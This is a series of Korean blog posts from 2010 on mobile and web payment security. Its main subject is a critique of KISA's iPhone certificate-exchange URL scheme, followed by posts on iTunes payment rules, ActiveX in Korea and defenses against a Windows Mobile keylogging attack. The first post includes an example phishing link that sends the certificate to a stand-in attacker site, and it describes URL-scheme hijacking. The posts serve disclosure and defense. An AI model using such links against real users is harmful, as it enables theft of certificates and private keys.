2010년 3월 12일 금요일

KISA 무선단말기에서의 공인인증서 저장 및 이용 기술규격

KISA 무선단말기에서의 공인인증서 저장 및 이용 기술규격 


관련해서

좀더 자세히 살펴보니 몇가지 문제점(?)이 보인다.

문서 위치는 다음 링크 참조 : http://bit.ly/cBvjC6

[공인인증서 관리 소프트웨어]

문서의 첫장에 나오는 개요에서 다음과 같이 기술하고 있다.
"본 규격은 무선단말기에서의 공인인증서비스 상호연동성 확보 및 이용 편의성을 고려하여 무선단말기내 공인인증서 관리 소프트웨어의 요구사항을 정의한다."

즉 "공인인증서 관리 소프트웨어"에 대한 기술규격이고
PureWeb에서는 유효하지 않은 규격이다.

[아이폰의 경우 동작구조]

다른 무선단말기는 자세히 살펴보지 않았고
아이폰에 대한 기술 부록4를 자세히 살펴보았다.

아이폰 공인인증서 App은 다음 두가지 기능을 가지고 있다.
"공인인증서 저장기능"
"공인인증서 획득기능"

공인인증서 저장기능은 다른 App에 존재하는 공인인증서를 아이폰의 공인인증서 App으로 보내서 저장하는 방식에 대한 것이고
공인인증서 획득기능은 다른 App에서 공인인증서가 필요할 경우 "공인인증서 App"을 호출하여 인증서를 획득하는 방식에 대한 것이다.

기업은행 App을 가정하여 동작방식을 순서대로 열거해보면

(공인인증서 저장기능 이용시)

1) 유저가 기업은행 App을 호출(ibkapp이라고 가정)
2) 유저가 공인인증서 저장을 위해서 "공인인증서 내보내기" 메뉴를 App에서 호출
3) 공인인증서 App을 호출하기 위해서는 
kisa-cert-exchange://?cmd=certpush&caller_url_scheme=ibkapp&callback=01&cert=base64(pfx) 
의 링크가 사용된다.
4) 이후 공인인증서 App이 실행되고 인증서를 불러들여 저장해두고 처리가 끝나면
ibkapp://?cmd=certpush&callback=01&result=00
으로 결과를 return한다.

(공인인증서 획득기능 이용시)

1) 유저가 기업은행 App을 호출(ibkapp이라고 가정)
2) 해당 App에는 공인인증서가 없어서 공인인증서를 가져와야한다.
3) 공인인증서 가져오기 메뉴를 호출하면
kisa-cert-exchange://?cmd=certget&caller_url_scheme=ibkapp&callback=01
의 링크로 공인인증서 App을 호출한다.
4) 공인인증서 App은 어딘가(?)로 공인인증서를 내보내고
ibkapp://?cmd=certget&callback=01&result=00&cert=base64(pfx)
으로 결과를 return한다.

[반쪽짜리 공인인증서 App]

공인인증서 사용을 위해서는
공인인증서 신규발급, 재발급, 갱신등의 행위가 꼭 필요한데
이런 행위는 여전히 Windows IE ActiveX에서만 가능하며
기술규격은 공인인증서의 사용에 대해서만 정의하고 있다.
즉 아이폰에서 사용하더라도 여전히 ActiveX는 필요하다는 의미.

향후 공인인증서 App에서 인증서 신규발급, 재발급, 갱신등이 지원된다는 의미는 달라질 수 있음.

그러나 지금 현재는 여전히 반쪽짜리임.

[피싱(Phishing)에 취약한 공인인증서 App]

공인인증서 App을 호출하기 위해서 Custom URL Scheme을 이용한다.
현재 "kisa-cert-excange"라고 명시해두었는데

이 구조를 국가 인프라에 도입해서 이용하는것은 상당히 아주 위험하다.

아래 몇가지 예를 들어보았는데 위험성에 대해서 판단해보시길

1. 일반 웹사이트를 통한 피싱(Phishing)

해커가 http://trust.me 라는 해킹사이트를 운영한다고 가정
해당 사이트에는 다음 링크를 포함하고 있음.
<a href=kisa-cert-exchange://?cmd=certget?caller_url_scheme=http://trust.me&callback=01>Login</a>

아이폰으로 접속한 유저가 "Login"버튼을 누르면 공인인증서 App이 실행되고 인증서 내보내기 절차를 진행.
내보낸 인증서는 어딘가(?)에 가 있을것이고
해커는 인증서를 그 어딘가(?)에서 가져온다.

2. 해킹 App을 통한 피싱

또다른 경우는 
해커가 공인인증서 App과 동일한 Custom URL Scheme을 가지는 피싱 App을 올려두고 기술규격 Spec에 맞게 반응하도록 구성하였다면
유저가 은행 뱅킹 App을 실행하고 인증서 내보내기를 실행하는 순간
KISA 공인인증서 App이 실행되는것이 아니고 해커가 준비한 App이 실행되어 공인인증서를 해커 서버로 탈취해갈 수 있다.
App등록이 통제되는 상황에서는 아주 희박한 경우이겠지만 Jailbroken iphone에서는 가능성이 없지 않다.
Custom URL Scheme이 중복되면 iPhone에서는 가장 나중에 설치된 App이 호출된다.

3. 의도하지 않은 선량한 앱에 의한 피싱

만일 선량한 다른 개발자가 의도하지는 않았지만
my.specialapp.kisa-cert-exchange 라고 URL Identifier를 기록했다면
이 App도 역시 kisa-cert-exchange://... 에 반응하여 호출된다.
유저는 공인인증서 App이 호출되기를 기대하였지만 엉뚱한 App이 호출될 가능성이 존재하는것이다.

[Gateway Server에 대한 규격 부재]

기술규격에는 명시되어 있지만
App to App으로 데이터를 전송하기 위해서는 Gateway Server가 필요하다.
이미 기업은행이나 하나은행 App에서 그러한 구조를 취하고 있다.

공인인증서 App에서 내보내기한 공인인증서(Private Key를 포함)가 어딘가로 전달되는데
이곳이 어디인지, 어떻게 관리되어야하는지등이 명확하게 표현되어 있지 않다.
결국 나의 공인인증 개인키가 아이폰 어플에서 공인인증서가 필요로 할때마다 외부로 나갔다 들어오는 과정을 반복하는데
의도적으로 숨기는것인지
아니면 아직 규격을 정한만한 사항이 아니라는건지 궁금하다.
아주 핵심적인 규격 하나가 빠져있어서
현재의 기술규격 자체도 반쪽짜리 규격이다.

[투명한 논의과정 부재]

KISA 내부에서 어떤 논의 과정을 거쳐 이런 규격이 제정되었는지
회의록이라도 볼 수 있으면 좋겠다.

[References]

Custom URL Scheme관련해서는 아래 URL들을 참조하세요.

http://iphonedevelopertips.com/cocoa/launching-your-own-application-via-a-custom-url-scheme.html
http://www.handleopenurl.com

2010년 3월 9일 화요일

애플 유료앱 결제와 규제

애플 유료앱 결제와 규제 


아이폰이나 아이팟터치 사용자라면 한번쯤 유료앱을 결제후 다운로드 받아본 경험이 있을것이다.
유료앱은 돈을주고 구매하는 프로그램으로 
국내소비자를 대상으로 한국어 서비스가 되며 국내 신용카드로 결제하게 된다.

이 과정에서 국내 법규정이 어떻게 적용되고 있는지 살펴보자.


1. iTunes에서 "Create New Account"메뉴의 첫화면이다.


2. iTunes Store 사용 약관 동의과정

사용 약관중에서 
"귀하는 라이센스된 애플리케이션을 미합중국 법... 
라이센스된 애플리케이션을 (a)미국의 수출 봉쇄 국가로... 
(b) 미국 재무성의... 
또는 미국 상무성 거부 인물 목록.... 
미국법에서 금지하는 목적으로 사용하지 않기로 동의합니다."
라는 약관조항이 보인다.
즉 미국법을 준수한다는 동의과정이 포함된것이 이상함.

3. iTunes Store 계정(Apple ID) 만들기

유료앱 구매를 위한 iTunes Store 계정을 만드는 항목이다.
우측 상단의 "보안 연결" 이라는 메세지가 눈에 들어온다.


4. 지불방법 선택


여기서부터 본격 카드결제 관련 정보를 입력한다.

카드정보 입력화면을 국내 법규정에 대비하여 비교해보면 아래와 같다.

4.1 본인확인을 위한 전자인증 (여신전문금융업 감독규정 제24조의 6)

관련규정에서는 신용카드사가 전자인증을 제공해야한다고 되어 있는데
실제 국내 카드사가 본인확인을 위한 전자인증을 제공하고 있는것 같지는 않다.
"보안 코드"라는 것을 통해서 카드를 실제로 소지하고 있는지 여부만을 확인한다.

실제 카드정보를 입력하면 다음단계에서 본인확인 절차가 있을 수 있으니 
이 단계에서 예단하기는 시기상조.

4.2 30만원이상 결제시 공인인증서 적용 (전자금융거래법 시행세칙 31조)

iTunes Store를 통해 구매가능한 유료앱중에서 30만원이 넘는 것들도 상당수 존재한다.
그러나 이 결제화면에서 공인인증서 관련 일체의 요구사항을 볼 수 없다.

4.3 금융거래정보의 종단간(End to End) 암호화 (전자금융거래법 시행세칙 29조)

SSL을 적용하고 있는것으로 짐작됨
화면 하단에 
"Apple uses industry-standard encryption to protect the confidentiality of user personal information"이라는 문구로 짐작

4.4 입력정보 보호대책 (전자금융거래법 시행세칙 29조)

유저가 입력하는 카드정보 입력을 보호하는 키보드 보안 프로그램이나
하다못해 스크린키보드도 보이지 않는다.

4.5 악성코드 예방대책 (전자금융거래법 시행세칙 29조)

안티바이러스나 방화벽등에 대한 항목은 찾아볼 수가 없다.
웹어플리케이션 보안 관련해서는 단단한 보호를 하였을걸로 짐작해볼수는 있음.

5. 계정생성됨


끝났다. 허무하다.
본인확인을 위한 전자인증이나 이런것 없이 그냥 끝났다.

이렇게 등록한 카드정보로 이제 자유롭게 iTunes Store의 상품을 마음껏 구매할 수 있다.
아이팟이나 아이폰등에서 자유롭게 구매할 수 있는것은 말할필요도 없고
아이패드나 윈도우즈, Mac OS등에서 제한없이 구매가능하다.


국내 유저가 국내 카드로 한국 iTunes Store에서 구매가능한 유료앱이다.
공인인증서 사용안하고 결제 잘된다.(당연히)

"국내와 국외에 다른 규제"


한국 쇼핑몰에 애플처럼 쇼핑몰을 구성하는것은 규제때문에 꿈도 꾸지 못한다.
그런데 애플은 국내에서 전자금융거래법이나 기타 다른 제도적 제약없이 자유롭게 상품을 판매하고 있다.

SK T Store나 삼성 앱스토어에서 이런식으로 AppStore를 꾸미면 경쟁력 있을것인데
결제방식에서부터 근본적으로 국내 AppStore와 애플 AppStore가 경쟁이 안된다.

본인확인을 안해도 되는 유튜브가 국내 1위 동영상 사이트가 되었지만
국내 업체들은 여전히 제도적 규제때문에 실명제를 준수하고 있다.

전자상거래에서도 각 쇼핑몰 업체별로 나름 안전하고 간편한 방식을 선택하여 영업하려고 해도 
만만한 국내업체는 거래를 중단시키면서까지 제제를 가하지만
해외업체는 예외(?)가 적용되는 현실이 안타깝다.

이미 애플 iTunes Store를 보면 알듯이 전자상거래에는 국경의 제약이 없다.
국내 규제로 인해 전자상거래를 위축시키지 않았으면 하는 바램이다.





2010년 3월 4일 목요일

한국에서 ActiveX가 광범위하게 사용되는 이유

한국에서 ActiveX가 광범위하게 사용되는 이유

국내에서 ActiveX가 광범위하게 사용되는 원인에 대해서 제가 알고 있는 몇가지 요소들을 기술해봅니다.

1. 공인인증서

  • 공인인증기관이 MSIE ActiveX기반으로만 서비스를 제공합니다.

2. 신용카드 전자상거래 ISP결제

  • BC, 국민에서 설립한 자회사 K모사에서 개발하였고 ActiveX형태로만 동작합니다.
  • 국민, BC카드의 전자상거래 결제는 모두 ActiveX로만 가능한 이유입니다.

3. 전자금융거래법 시행세칙 29조

  • 안티바이러스 ActiveX, 키보드보안 ActiveX, 개인방화벽 ActiveX가 모두 이 규정에서부터 파생되었습니다.

4. 금융거래시 전자서명

  • 금감원에서 금융거래시 전자서명을 요구하며
  • 공인인증 전자서명은 현재 ActiveX로만 가능합니다.

5. 보안서버 구축

  • http://secsv.kisa.or.kr/secsv/jsp/secsv.jsp 참조
  • 정보통신망 이용촉진 및 정보보호등에 관한 법률하위 시행령 하위 개인정보의 기술적 관리적 보호조치 기준 제5조에서 
    • SSL방식과 응용프로그램방식을 모두 인정하고 있습니다.
  • 응용 프로그램 방식은 공인인증서 사용모듈과 유기적으로 결합되어 하나의 ActiveX로 전자서명이나 End-to-End 암호화가 가능한점을 개발업체에서 장점으로 홍보하고 있어서 일반 업체에까지 광범위하게 ActiveX가 확산되게한 원인입니다.
  • 전자상거래 안심클릭 결제에 ActiveX가 사용되는 주요 이유중 하나입니다.

6. MSIE Auto Popup 차단

  • MS에서 특허나 보안등 여러가지 이유로 Auto Popup을 차단하고 있습니다.
  • 단 해당 서버 도메인이 Trusted Zone에 속하는 경우 Auto Popup이 가능합니다.
  • 신용카드 안심클릭 결제등은 팝업구조로 결제가 진행됩니다.
  • 많은 PG업체들이 결제팝업이 차단되는것을 방지하기 위해서 해당 업체 도메인을 MSIE Trusted Zone에 자동 추가하는 기능이 포함된 ActiveX를 결제시작하기전에 설치요구하고 있습니다.

7. iframe에 대한 오용

  • - ActiveX를 사용하더라도 이것이 꼭 필요한 단계에서만 사용하면 되는데 국내 현실은 일단 접속하는 모든 유저에게 ActiveX를 깔도록 요구합니다.
  • - 단순히 웹사이트를 둘러보기만 할 대다수 유저들에게 ActiveX를 깔도록 요구하는것은 불필요한 보안위험을 증대시킵니다.
  • - 실제로는 Javascript DOM 제어등을 통해 ActiveX를 꼭 사용해야한다면 그때 잠깐 활성화하여 사용할 수 있지만
  • - 상당수 업체들이 R&D가 부족하여 iframe등을 통해 무조건 ActiveX를 깔도록 요구합니다.

2010년 2월 1일 월요일

윈도우모바일6.1 해킹관련 PureWeb기반 보안대책

윈도우모바일6.1 해킹관련 PureWeb기반 보안대책

http://news.donga.com/It/New/3/08/20100201/25872427/1&top=1
기사를 보면 윈도우모바일 6.1 해킹관련 기사가 크게 났다.
퓨어웹환경에서의 보안대책을 고민해보았다.

1. 해킹절차

1) 유저는 해커가 준비한 웹사이트 방문
2) 유저는 해커가 유도한 프로그램 다운로드하여 자신의 기기에 설치
3) 유저가 웹사이트 방문하여 입력하는 정보를 Key-Logging
4) Logging한 정보를 해커가 설치한 프로그램을 통해 해커서버로 전송
5) 해커가 유저를 대신하여 쇼핑몰에서 상품 구매
6) Key-Logger로 빼낸 정보를 이용자를 가장하여 입력
7) 이통사에서 SMS문자인증 메세지 발송
8) 원 유저의 폰에서 문자 수신
9) 원 유저 폰에 설치된 프로그램이 문자내용을 해커에게 전송
10) 해커는 쇼핑몰에서 SMS 인증번호 입력하여 상품정상결제

2. PureWeb기반 보안대책

2.1 입력정보 보호대책

2.1.1  Javascript Screen Keyboard이용하여 keylogging 방지

- Javascript입력정보는 Javascript sandbox내에서만 존재함
- screen keyboard 배열을 세션 연계하여 random하게 변경

2.1.2 Javascript 보안

- Javascript 무결성 검증
- Javascript 동적 로딩 및 난독화
- Caja를 이용하여 보호

2.2 악성코드 예방대책

2.2.1 취약점이 존재하는 OS및 브라우저를 이용한 결제접근 차단

- Server에서 Browser UA정보 확인하여 취약점이 존재하고 벤더제공 패치가 나오지 않은 경우 결제접근 차단

2.2.2 이용자에게 보안권고 및 인지동의과정 추가

- 프로그램을 함부로 설치하지 않도록 보안권고
- OS 보안 업데이트 권고
- 본격 안티바이러스 설치 권고(가능하다면)

2.3 카드정보등 주요정보 Client 저장금지

- screen keyboard로 입력된 카드번호등은 서버전송후 browser memory에서 제거
- 주요정보는 browser sandbox내에서만 잠간 존재했다가 사라짐